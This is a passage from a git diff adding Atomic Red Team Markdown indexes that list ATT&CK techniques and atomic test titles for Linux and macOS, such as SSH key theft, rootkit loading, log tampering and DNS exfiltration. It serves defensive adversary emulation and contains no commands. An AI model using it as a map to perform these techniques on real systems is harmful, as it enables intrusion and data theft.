Testing usage of uncommonly used port [linux, macos] +- [T1102 Web Service](./T1102/T1102.md) + - Atomic Test #1: Reach out to C2 Pointer URLs via command_prompt [windows] + - Atomic Test #2: Reach out to C2 Pointer URLs via powershell [windows] + +# initial-access +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) + - Atomic Test #1: Download Phishing Attachment - VBScript [windows] +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + diff --git a/atomics/Indexes/Indexes-Markdown/linux-index.md b/atomics/Indexes/Indexes-Markdown/linux-index.md new file mode 100644 index 00000000..b698d0ab --- /dev/null +++ b/atomics/Indexes/Indexes-Markdown/linux-index.md @@ -0,0 +1,345 @@ +# Linux Atomic Tests by ATT&CK Tactic & Technique +# persistence +- [T1156 .bash_profile and .bashrc](./T1156/T1156.md) + - Atomic Test #1: Add command to .bash_profile [macos, linux] + - Atomic Test #2: Add command to .bashrc [macos, linux] +- [T1098 Account Manipulation](./T1098/T1098.md) +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1176 Browser Extensions](./T1176/T1176.md) + - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] + - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] + - Atomic Test #3: Firefox [linux, windows, macos] +- [T1136 Create Account](./T1136/T1136.md) + - Atomic Test #1: Create a user account on a Linux system [linux] + - Atomic Test #5: Create a new user in Linux with `root` UID and GID. [linux] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] +- T1525 Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1215 Kernel Modules and Extensions](./T1215/T1215.md) + - Atomic Test #1: Linux - Load Kernel Module via insmod [linux] +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- [T1137 Office Application Startup](./T1137/T1137.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1505 Server Software Component](./T1505/T1505.md) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1501 Systemd Service](./T1501/T1501.md) + - Atomic Test #1: Create Systemd Service [linux] +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + +# impact +- [T1531 Account Access Removal](./T1531/T1531.md) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #5: macOS/Linux - Overwrite file with DD [linux, macos] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1529 System Shutdown/Reboot](./T1529/T1529.md) + - Atomic Test #3: Restart System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #4: Shutdown System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #5: Restart System via `reboot` - macOS/Linux [macos, linux] + - Atomic Test #6: Shutdown System via `halt` - Linux [linux] + - Atomic Test #7: Reboot System via `halt` - Linux [linux] + - Atomic Test #8: Shutdown System via `poweroff` - Linux [linux] + - Atomic Test #9: Reboot System via `poweroff` - Linux [linux] +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# discovery +- [T1087 Account Discovery](./T1087/T1087.md) + - Atomic Test #1: Enumerate all accounts [linux, macos] + - Atomic Test #2: View sudoers access [linux, macos] + - Atomic Test #3: View accounts with UID 0 [linux, macos] + - Atomic Test #4: List opened files by user [linux, macos] + - Atomic Test #5: Show if a user account has ever logged in remotely [linux] + - Atomic Test #6: Enumerate users and groups [linux, macos] +- [T1217 Browser Bookmark Discovery](./T1217/T1217.md) + - Atomic Test #1: List Mozilla Firefox Bookmark Database Files on Linux [linux] +- T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1083 File and Directory Discovery](./T1083/T1083.md) + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery 2 [macos, linux] +- [T1046 Network Service Scanning](./T1046/T1046.md) + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] +- [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #1: Network Share Discovery [macos, linux] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #1: Examine password complexity policy - Ubuntu [linux] + - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [linux] + - Atomic Test #3: Examine password complexity policy - CentOS/RHEL 6.x [linux] + - Atomic Test #4: Examine password expiration policy - All Linux [linux] +- [T1069 Permission Groups Discovery](./T1069/T1069.md) + - Atomic Test #1: Permission Groups Discovery [macos, linux] +- [T1057 Process Discovery](./T1057/T1057.md) + - Atomic Test #1: Process Discovery - ps [macos, linux] +- [T1018 Remote System Discovery](./T1018/T1018.md) + - Atomic Test #6: Remote System Discovery - arp nix [linux, macos] + - Atomic Test #7: Remote System Discovery - sweep [linux, macos] +- [T1518 Software Discovery](./T1518/T1518.md) +- [T1082 System Information Discovery](./T1082/T1082.md) + - Atomic Test #2: System Information Discovery [linux, macos] + - Atomic Test #3: List OS Information [linux, macos] + - Atomic Test #4: Linux VM Check via Hardware [linux] + - Atomic Test #5: Linux VM Check via Kernel Modules [linux] + - Atomic Test #7: Hostname Discovery [linux, macos] +- [T1016 System Network Configuration Discovery](./T1016/T1016.md) + - Atomic Test #3: System Network Configuration Discovery [macos, linux] +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] +- [T1033 System Owner/User Discovery](./T1033/T1033.md) + - Atomic Test #2: System Owner/User Discovery [linux, macos] + +# credential-access +- [T1098 Account Manipulation](./T1098/T1098.md) +- [T1139 Bash History](./T1139/T1139.md) + - Atomic Test #1: Search Through Bash History [linux, macos] +- [T1110 Brute Force](./T1110/T1110.md) +- T1522 Cloud Instance Metadata API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1003 Credential Dumping](./T1003/T1003.md) +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #2: Extract passwords with grep [macos, linux] +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1056 Input Capture](./T1056/T1056.md) +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #1: Packet Capture Linux [linux] +- [T1145 Private Keys](./T1145/T1145.md) + - Atomic Test #2: Discover Private SSH Keys [macos, linux] + - Atomic Test #3: Copy Private SSH Keys with CP [linux] + - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] +- T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# defense-evasion +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1009 Binary Padding](./T1009/T1009.md) + - Atomic Test #1: Pad Binary to Change Hash - Linux/macOS dd [macos, linux] +- [T1146 Clear Command History](./T1146/T1146.md) + - Atomic Test #1: Clear Bash history (rm) [linux, macos] + - Atomic Test #2: Clear Bash history (echo) [linux, macos] + - Atomic Test #3: Clear Bash history (cat dev/null) [linux, macos] + - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] + - Atomic Test #5: Clear Bash history (truncate) [linux] + - Atomic Test #6: Clear history of a bunch of shells [linux, macos] +- [T1500 Compile After Delivery](./T1500/T1500.md) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] +- [T1089 Disabling Security Tools](./T1089/T1089.md) + - Atomic Test #1: Disable iptables firewall [linux] + - Atomic Test #2: Disable syslog [linux] + - Atomic Test #3: Disable Cb Response [linux] + - Atomic Test #4: Disable SELinux [linux] +- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1107 File Deletion](./T1107/T1107.md) + - Atomic Test #1: Delete a single file - Linux/macOS [linux, macos] + - Atomic Test #2: Delete an entire folder - Linux/macOS [linux, macos] + - Atomic Test #3: Overwrite and delete a file with shred [linux] + - Atomic Test #12: Delete Filesystem - Linux [linux] +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) + - Atomic Test #8: chmod - Change file or folder mode (numeric mode) [macos, linux] + - Atomic Test #9: chmod - Change file or folder mode (symbolic mode) [macos, linux] + - Atomic Test #10: chmod - Change file or folder mode (numeric mode) recursively [macos, linux] + - Atomic Test #11: chmod - Change file or folder mode (symbolic mode) recursively [macos, linux] + - Atomic Test #12: chown - Change file or folder ownership and group [macos, linux] + - Atomic Test #13: chown - Change file or folder ownership and group recursively [macos, linux] + - Atomic Test #14: chown - Change file or folder mode ownership only [macos, linux] + - Atomic Test #15: chown - Change file or folder ownership recursively [macos, linux] + - Atomic Test #16: chattr - Remove immutable file attribute [macos, linux] +- [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1070 Indicator Removal on Host](./T1070/T1070.md) + - Atomic Test #3: rm -rf [macos, linux] + - Atomic Test #4: Overwrite Linux Mail Spool [linux] + - Atomic Test #5: Overwrite Linux Log [linux] +- [T1130 Install Root Certificate](./T1130/T1130.md) + - Atomic Test #1: Install root CA on CentOS/RHEL [linux] +- [T1036 Masquerading](./T1036/T1036.md) + - Atomic Test #2: Masquerading as Linux crond process. [linux] +- [T1027 Obfuscated Files or Information](./T1027/T1027.md) + - Atomic Test #1: Decode base64 Data into Script [macos, linux] +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #2: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #3: Shared Library Injection via LD_PRELOAD [linux] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1536 Revert Cloud Instance [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1014 Rootkit](./T1014/T1014.md) + - Atomic Test #1: Loadable Kernel Module based Rootkit [linux] + - Atomic Test #2: Loadable Kernel Module based Rootkit [linux] +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] +- [T1151 Space after Filename](./T1151/T1151.md) +- [T1099 Timestomp](./T1099/T1099.md) + - Atomic Test #1: Set a file's access timestamp [linux, macos] + - Atomic Test #2: Set a file's modification timestamp [linux, macos] + - Atomic Test #3: Set a file's creation timestamp [linux, macos] + - Atomic Test #4: Modify file timestamps using reference file [linux, macos] +- T1535 Unused/Unsupported Cloud Regions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1102 Web Service](./T1102/T1102.md) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# lateral-movement +- T1527 Application Access Token [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1506 Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# collection +- [T1123 Audio Capture](./T1123/T1123.md) +- [T1119 Automated Collection](./T1119/T1119.md) +- [T1115 Clipboard Data](./T1115/T1115.md) +- [T1074 Data Staged](./T1074/T1074.md) + - Atomic Test #2: Stage data from Discovery.sh [linux, macos] +- T1530 Data from Cloud Storage Object [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1005 Data from Local System](./T1005/T1005.md) +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1114 Email Collection](./T1114/T1114.md) +- [T1056 Input Capture](./T1056/T1056.md) +- [T1113 Screen Capture](./T1113/T1113.md) + - Atomic Test #3: X Windows Capture [linux] + - Atomic Test #4: Import [linux] + +# exfiltration +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1002 Data Compressed](./T1002/T1002.md) + - Atomic Test #3: Data Compressed - nix - zip [linux, macos] + - Atomic Test #4: Data Compressed - nix - gzip Single File [linux, macos] + - Atomic Test #5: Data Compressed - nix - tar Folder or File [linux, macos] +- [T1022 Data Encrypted](./T1022/T1022.md) + - Atomic Test #1: Data Encrypted with zip and gpg symmetric [macos, linux] +- [T1030 Data Transfer Size Limits](./T1030/T1030.md) + - Atomic Test #1: Data Transfer Size Limits [macos, linux] +- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) + - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, linux] + - Atomic Test #5: Exfiltration Over Alternative Protocol - DNS [linux] +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1537 Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# execution +- [T1059 Command-Line Interface](./T1059/T1059.md) + - Atomic Test #1: Command-Line Interface [macos, linux] +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] +- [T1153 Source](./T1153/T1153.md) + - Atomic Test #1: Execute Script using Source [macos, linux] + - Atomic Test #2: Execute Script using Source Alias [macos, linux] +- [T1151 Space after Filename](./T1151/T1151.md) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- [T1204 User Execution](./T1204/T1204.md) + +# command-and-control +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1483 Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1219 Remote Access Tools](./T1219/T1219.md) +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] +- [T1071 Standard Application Layer Protocol](./T1071/T1071.md) + - Atomic Test #3: Malicious User Agents - Nix [linux, macos] +- [T1032 Standard Cryptographic Protocol](./T1032/T1032.md) +- [T1095 Standard Non-Application Layer Protocol](./T1095/T1095.md) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] +- [T1102 Web Service](./T1102/T1102.md) + +# initial-access +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# privilege-escalation +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #2: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #3: Shared Library Injection via LD_PRELOAD [linux] +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] +- [T1206 Sudo Caching](./T1206/T1206.md) + - Atomic Test #1: Unlimited sudo cache timeout [macos, linux] + - Atomic Test #2: Disable tty_tickets for sudo caching [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + diff --git a/atomics/Indexes/Indexes-Markdown/macos-index.md b/atomics/Indexes/Indexes-Markdown/macos-index.md new file mode 100644 index 00000000..4f6557a3 --- /dev/null +++ b/atomics/Indexes/Indexes-Markdown/macos-index.md @@ -0,0 +1,375 @@ +# macOS Atomic Tests by ATT&CK Tactic & Technique +# persistence +- [T1156 .bash_profile and .bashrc](./T1156/T1156.md) + - Atomic Test #1: Add command to .bash_profile [macos, linux] + - Atomic Test #2: Add command to .bashrc [macos, linux] +- [T1176 Browser Extensions](./T1176/T1176.md) + - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] + - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] + - Atomic Test #3: Firefox [linux, windows, macos] +- [T1136 Create Account](./T1136/T1136.md) + - Atomic Test #2: Create a user account on a MacOS system [macos] +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1519 Emond](./T1519/T1519.md) + - Atomic Test #1: Persistance with Event Monitor - emond [macos] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] + - Atomic Test #2: Mac Hidden file [macos] + - Atomic Test #5: Hidden files [macos] + - Atomic Test #6: Hide a Directory [macos] + - Atomic Test #7: Show all hidden files [macos] +- [T1215 Kernel Modules and Extensions](./T1215/T1215.md) +- T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1159 Launch Agent](./T1159/T1159.md) + - Atomic Test #1: Launch Agent [macos] +- [T1160 Launch Daemon](./T1160/T1160.md) + - Atomic Test #1: Launch Daemon [macos] +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- T1162 Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #3: Logon Scripts - Mac [macos] +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1163 Rc.common](./T1163/T1163.md) + - Atomic Test #1: rc.common [macos] +- [T1164 Re-opened Applications](./T1164/T1164.md) + - Atomic Test #1: Re-Opened Applications [macos] + - Atomic Test #2: Re-Opened Applications [macos] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1165 Startup Items](./T1165/T1165.md) + - Atomic Test #1: add file to Local Library StartupItems [macos] +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + +# impact +- [T1531 Account Access Removal](./T1531/T1531.md) +- [T1485 Data Destruction](./T1485/T1485.md) + - Atomic Test #5: macOS/Linux - Overwrite file with DD [linux, macos] +- T1486 Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1491 Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1488 Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1487 Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1499 Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1495 Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1490 Inhibit System Recovery](./T1490/T1490.md) +- T1498 Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1496 Resource Hijacking](./T1496/T1496.md) + - Atomic Test #1: macOS/Linux - Simulate CPU Load with Yes [macos, linux] +- T1494 Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1492 Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1529 System Shutdown/Reboot](./T1529/T1529.md) + - Atomic Test #3: Restart System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #4: Shutdown System via `shutdown` - macOS/Linux [macos, linux] + - Atomic Test #5: Restart System via `reboot` - macOS/Linux [macos, linux] +- T1493 Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# discovery +- [T1087 Account Discovery](./T1087/T1087.md) + - Atomic Test #1: Enumerate all accounts [linux, macos] + - Atomic Test #2: View sudoers access [linux, macos] + - Atomic Test #3: View accounts with UID 0 [linux, macos] + - Atomic Test #4: List opened files by user [linux, macos] + - Atomic Test #6: Enumerate users and groups [linux, macos] + - Atomic Test #7: Enumerate users and groups [macos] +- [T1010 Application Window Discovery](./T1010/T1010.md) +- [T1217 Browser Bookmark Discovery](./T1217/T1217.md) + - Atomic Test #2: List Mozilla Firefox Bookmark Database Files on macOS [macos] + - Atomic Test #3: List Google Chrome Bookmark JSON Files on macOS [macos] +- [T1083 File and Directory Discovery](./T1083/T1083.md) + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery 2 [macos, linux] +- [T1046 Network Service Scanning](./T1046/T1046.md) + - Atomic Test #1: Port Scan [linux, macos] + - Atomic Test #2: Port Scan Nmap [linux, macos] +- [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #1: Network Share Discovery [macos, linux] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #2: Packet Capture macOS [macos] +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #7: Examine password policy - macOS [macos] +- T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1069 Permission Groups Discovery](./T1069/T1069.md) + - Atomic Test #1: Permission Groups Discovery [macos, linux] +- [T1057 Process Discovery](./T1057/T1057.md) + - Atomic Test #1: Process Discovery - ps [macos, linux] +- [T1018 Remote System Discovery](./T1018/T1018.md) + - Atomic Test #6: Remote System Discovery - arp nix [linux, macos] + - Atomic Test #7: Remote System Discovery - sweep [linux, macos] +- [T1063 Security Software Discovery](./T1063/T1063.md) + - Atomic Test #3: Security Software Discovery - ps [linux, macos] +- [T1518 Software Discovery](./T1518/T1518.md) +- [T1082 System Information Discovery](./T1082/T1082.md) + - Atomic Test #2: System Information Discovery [linux, macos] + - Atomic Test #3: List OS Information [linux, macos] + - Atomic Test #7: Hostname Discovery [linux, macos] +- [T1016 System Network Configuration Discovery](./T1016/T1016.md) + - Atomic Test #3: System Network Configuration Discovery [macos, linux] +- [T1049 System Network Connections Discovery](./T1049/T1049.md) + - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos] +- [T1033 System Owner/User Discovery](./T1033/T1033.md) + - Atomic Test #2: System Owner/User Discovery [linux, macos] +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# 